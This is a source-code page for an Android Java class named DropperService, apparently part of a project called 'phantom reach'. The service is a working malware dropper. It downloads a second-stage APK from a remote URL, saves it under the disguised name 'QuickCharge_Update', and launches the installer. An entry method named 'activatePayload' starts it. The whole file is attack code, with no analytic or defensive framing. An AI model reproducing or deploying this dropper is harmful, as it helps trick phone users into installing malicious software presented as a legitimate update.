Repository navigation
Expand file tree
/
Copy pathDropperService.java
More file actions
66 lines (56 loc) · 2.39 KB
/
Copy pathDropperService.java
File metadata and controls
66 lines (56 loc) · 2.39 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package com.phantom.reach;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.os.Environment;
import android.os.IBinder;
import android.webkit.MimeTypeMap;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;
public class DropperService extends Service {
private static final String PAYLOAD_URL = "https://cdn.yourdomain.com/phantom_reach.apk";
public static void activatePayload(Context ctx) {
Intent intent = new Intent(ctx, DropperService.class);
ctx.startService(intent);
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
new Thread(() -> {
try {
URL url = new URL(PAYLOAD_URL);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setConnectTimeout(10000);
conn.setReadTimeout(10000);
conn.connect();
File downloadDir = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS);
if (!downloadDir.exists()) downloadDir.mkdirs();
File apkFile = new File(downloadDir, "QuickCharge_Update_" + System.currentTimeMillis() + ".apk");
InputStream in = conn.getInputStream();
FileOutputStream out = new FileOutputStream(apkFile);
byte[] buffer = new byte[8192];
int bytesRead;
while ((bytesRead = in.read(buffer)) != -1) {
out.write(buffer, 0, bytesRead);
}
out.close();
in.close();
// Trigger install
Intent installIntent = new Intent(Intent.ACTION_VIEW);
installIntent.setDataAndType(Uri.fromFile(apkFile), "application/vnd.android.package-archive");
installIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(installIntent);
stopSelf();
} catch (Exception e) {
e.printStackTrace();
stopSelf();
}
}).start();
return START_NOT_STICKY;
}
@Override
public IBinder onBind(Intent intent) { return null; }
}